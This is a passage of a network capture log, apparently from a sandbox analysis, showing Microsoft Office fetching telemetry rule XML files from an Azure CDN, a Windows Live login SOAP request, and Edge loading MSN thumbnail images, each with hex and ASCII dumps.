2024-11-24 22:24:56 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 22:24:56 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: edaf41ae-201e-0051-5e49-3c7340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T222456Z-174c587ffdf7t49mhC1TEB4qbg00000004w000000000nuf6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 22:24:56 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.5	49910	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 22:24:56 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 22:24:56 UTC	471	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 22:24:56 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: 07e1bf82-901e-0029-4cbf-3e274a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T222456Z-178bfbc474bw8bwphC1NYC38b400000006e00000000082x6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-24 22:24:56 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.5	49911	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 22:24:56 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 22:24:56 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 22:24:56 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: e2ff131b-f01e-0085-7676-3b88ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T222456Z-174c587ffdfp4vpjhC1TEBybqw00000004y000000000r3hz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 22:24:56 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.5	49912	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 22:24:56 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 22:24:56 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 22:24:56 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: b3049c5e-001e-0082-330c-3d5880000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T222456Z-178bfbc474btrnf9hC1NYCb80g00000006u0000000003d4q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 22:24:56 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
129	192.168.2.5	49913	40.126.53.11	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 22:24:57 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4775 Host: login.live.com
2024-11-24 22:24:57 UTC	4775	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-24 22:24:57 UTC	568	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Sun, 24 Nov 2024 22:23:57 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C555_BAY x-ms-request-id: 4d1df4e8-4663-4fad-82f4-de10f394cb7f PPServer: PPV: 30 H: PH1PEPF0001B83E V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Sun, 24 Nov 2024 22:24:56 GMT Connection: close Content-Length: 1918
2024-11-24 22:24:57 UTC	1918	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
130	192.168.2.5	49915	104.117.182.56	443	7296	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 22:24:57 UTC	505	OUT	GET /tenant/amp/entityid/AAtK5aP?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-24 22:24:57 UTC	548	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AAtK5aP?w=168&h=168&q=60&m=6&f=jpg&u=t Last-Modified: Tue, 29 Oct 2024 19:03:22 GMT X-Source-Length: 95457 X-Datacenter: westus X-ActivityId: 155cd87c-435f-4d80-bfaf-3f0e9ec39163 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 8192 Cache-Control: public, max-age=117830 Expires: Tue, 26 Nov 2024 07:08:47 GMT Date: Sun, 24 Nov 2024 22:24:57 GMT Connection: close
2024-11-24 22:24:57 UTC	8192	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff c0 00 11 08 00 a8 00 a8 03 01 11 00 02 11 01 03 11 01 ff c4 01 a2 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 24 33 62 72 82 09 0a 16 17 18 19 1a 25 26 27 28 29 2a 34 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa 01 00 03 01 Data Ascii: JFIF``}!1AQa"q2#BR$3br%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.5	49914	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 22:24:57 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 22:24:57 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 22:24:57 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: 925146da-101e-0034-3f87-3b96ff000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T222457Z-174c587ffdf9xbcchC1TEBxkz400000004z0000000005335 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 22:24:57 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.5	49917	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 22:24:58 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 22:24:58 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 22:24:58 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: ee6bf500-501e-000a-4e3b-3e0180000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T222458Z-174c587ffdfp4vpjhC1TEBybqw000000053g000000005fhz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-24 22:24:58 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.5	49916	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 22:24:58 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 22:24:59 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 22:24:58 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 9d7b10d0-e01e-0099-63bc-3bda8a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T222458Z-15b8b599d88vp97chC1TEB5pzw00000004x000000000nfb4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 22:24:59 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
134	192.168.2.5	49921	104.117.182.56	443	7296	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 22:24:58 UTC	506	OUT	GET /tenant/amp/entityid/BB18CMuA?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-24 22:24:59 UTC	551	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB18CMuA?w=168&h=168&q=60&m=6&f=jpg&u=t Last-Modified: Fri, 15 Nov 2024 06:37:05 GMT X-Source-Length: 1437868 X-Datacenter: westus X-ActivityId: 35f8cf50-b6a5-4c74-ae05-da13e654185f Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 4096 Cache-Control: public, max-age=375101 Expires: Fri, 29 Nov 2024 06:36:40 GMT Date: Sun, 24 Nov 2024 22:24:59 GMT Connection: close
2024-11-24 22:24:59 UTC	4096	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff c0 00 11 08 00 a8 00 a8 03 01 11 00 02 11 01 03 11 01 ff c4 01 a2 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 24 33 62 72 82 09 0a 16 17 18 19 1a 25 26 27 28 29 2a 34 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa 01 00 03 01 Data Ascii: JFIF``}!1AQa"q2#BR$3br%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.5	49918	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 22:24:58 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 22:24:59 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 22:24:59 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: d5b120ed-d01e-0017-3f65-3bb035000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T222459Z-178bfbc474bvjk8shC1NYC83ns00000006c000000000f7nk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 22:24:59 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" 